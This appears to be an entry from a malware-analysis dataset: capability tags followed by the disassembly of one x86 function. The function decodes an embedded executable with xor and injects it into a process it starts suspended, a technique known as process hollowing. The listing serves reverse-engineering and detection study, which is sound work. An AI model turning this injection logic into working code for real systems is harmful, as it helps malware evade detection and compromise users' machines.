Function at 0x401bcd
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Link many functions at runtime
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
mov eax, dword [0x4010c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1a
pop esi
lea eax, [ebp - 0x20]
mov edi, ecx
call fcn.00401609
mov esi, 0xff
lea eax, [ebp - 0x120]
call fcn.00401609
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x20]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, 0x40116c
push ebx
call esi
push ebx
mov ebx, 0x403278
push ebx
mov dword [ebp - 0x3f4], eax
call edi
mov edx, dword [ebp - 0x3f4]
call fcn.0040163e
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x4011ec
mov dword [ebp - 0x3f8], eax
call esi
push 0x4011ec
push ebx
mov dword [ebp - 0x3f4], eax
call edi
mov edx, dword [ebp - 0x3f4]
call fcn.0040163e
push eax
push dword [ebp - 0x3f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4011f8
mov dword [0x403384], eax
call esi
push 0x4011f8
push ebx
mov dword [ebp - 0x3f4], eax
call edi
mov edx, dword [ebp - 0x3f4]
call fcn.0040163e
push eax
push dword [ebp - 0x3f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401204
mov dword [0x40337c], eax
call esi
push 0x401204
push ebx
mov dword [ebp - 0x3f4], eax
call edi
mov edx, dword [ebp - 0x3f4]
call fcn.0040163e
push eax
push dword [ebp - 0x3f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40119c
mov dword [0x403268], eax
call esi
push 0x40119c
push ebx
mov dword [ebp - 0x3f4], eax
call edi
mov edx, dword [ebp - 0x3f4]
call fcn.0040163e
push eax
push dword [ebp - 0x3f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401210
mov dword [0x403380], eax
call esi
mov dword [ebp - 0x3f4], eax
push 0x401210
push ebx
call edi
mov edx, dword [ebp - 0x3f4]
call fcn.0040163e
push eax
push dword [ebp - 0x3f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401224
mov dword [0x40338c], eax
call esi
push 0x401224
push ebx
mov dword [ebp - 0x3f4], eax
call edi
mov edx, dword [ebp - 0x3f4]
call fcn.0040163e
push eax
push dword [ebp - 0x3f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401188
mov dword [0x403274], eax
call esi
push 0x401188
push ebx
mov dword [ebp - 0x3f4], eax
call edi
mov edx, dword [ebp - 0x3f4]
call fcn.0040163e
push eax
push dword [ebp - 0x3f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401238
mov dword [0x40326c], eax
call esi
push 0x401238
push ebx
mov esi, eax
call edi
mov edx, esi
call fcn.0040163e
push eax
push dword [ebp - 0x3f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
mov dword [0x403270], eax
call edi
mov dword [ebp - 0x3f8], eax
push 0xff
lea eax, [ebp - 0x120]
push eax
push 0
call dword [0x403380]
mov esi, 0x1233
push esi
mov ebx, 0x2222
push ebx
push dword [ebp - 0x3f8]
call fcn.004019e0
add esp, 0xc
test eax, eax
je 0x40202d
push esi
push ebx
push dword [ebp - 0x3f8]
call fcn.004019e0
mov eax, dword [eax]
add esp, 0xc
push eax
push 0x40
mov dword [ebp - 0x3f4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
push 0x1111
push dword [ebp - 0x3f8]
call fcn.004019e0
add esp, 0xc
mov ebx, eax
xor esi, esi
mov al, byte [esi + ebx]
sub al, byte [ebp - 0x20]
xor al, byte [ebp - 0x20]
mov byte [esi + ebx], al
inc esi
cmp esi, dword [ebp - 0x3f4]
jbe 0x401e49
push 0x44
pop esi
lea eax, [ebp - 0x460]
mov byte [ebx], 0x4d
mov byte [ebx + 1], 0x5a
mov dword [ebp - 0x3f0], 0x10002
call fcn.00401609
mov dword [ebp - 0x460], esi
push 0x10
pop esi
lea eax, [ebp - 0x40c]
call fcn.00401609
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x460]
push eax
xor eax, eax
push eax
push eax
push 4
push eax
push eax
push eax
lea ecx, [ebp - 0x120]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea eax, [ebp - 0x3f0]
push eax
push dword [ebp - 0x408]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x414]
push eax
push 4
lea eax, [ebp - 0x3f8]
push eax
mov eax, dword [ebp - 0x34c]
add eax, 8
push eax
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40124c
push 0x401264
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x3f8]
push dword [ebp - 0x40c]
call eax
mov esi, dword [ebx + 0x3c]
push 4
push 0x3000
add esi, ebx
push dword [esi + 0x50]
mov eax, dword [esi + 0x34]
push eax
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea ecx, [ebp - 0x3f4]
push ecx
mov dword [ebp - 0x3f8], eax
push dword [esi + 0x54]
push ebx
push eax
push dword [ebp - 0x40c]
call dword [0x40338c]
movzx eax, word [esi + 0x14]
and dword [ebp - 0x3fc], 0
lea eax, [eax + esi + 0x18]
lea edi, [eax + 0x10]
mov ecx, dword [edi + 4]
mov eax, dword [edi - 4]
add eax, dword [ebp - 0x3f8]
lea edx, [ebp - 0x3f4]
push edx
push dword [edi]
add ecx, ebx
push ecx
push eax
push dword [ebp - 0x40c]
call dword [0x40338c]
test eax, eax
je 0x401fab
lea eax, [ebp - 0x410]
push eax
push dword [edi + 0x14]
mov eax, dword [edi - 4]
push dword [edi - 8]
add eax, dword [ebp - 0x3f8]
push eax
push dword [ebp - 0x40c]
call dword [0x403274]
movzx eax, word [esi + 6]
inc dword [ebp - 0x3fc]
add edi, 0x28
dec eax
cmp dword [ebp - 0x3fc], eax
jbe 0x401f5f
lea eax, [ebp - 0x3f4]
push eax
push 4
lea eax, [ebp - 0x3f8]
push eax
mov eax, dword [ebp - 0x34c]
add eax, 8
push eax
push dword [ebp - 0x40c]
call dword [0x40338c]
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x340], eax
lea eax, [ebp - 0x3f0]
push eax
push dword [ebp - 0x408]
call dword [0x403270]
push dword [ebp - 0x408]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x40c]
call dword [0x403268]
push dword [ebp - 0x408]
call dword [0x403268]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040259e
leave
ret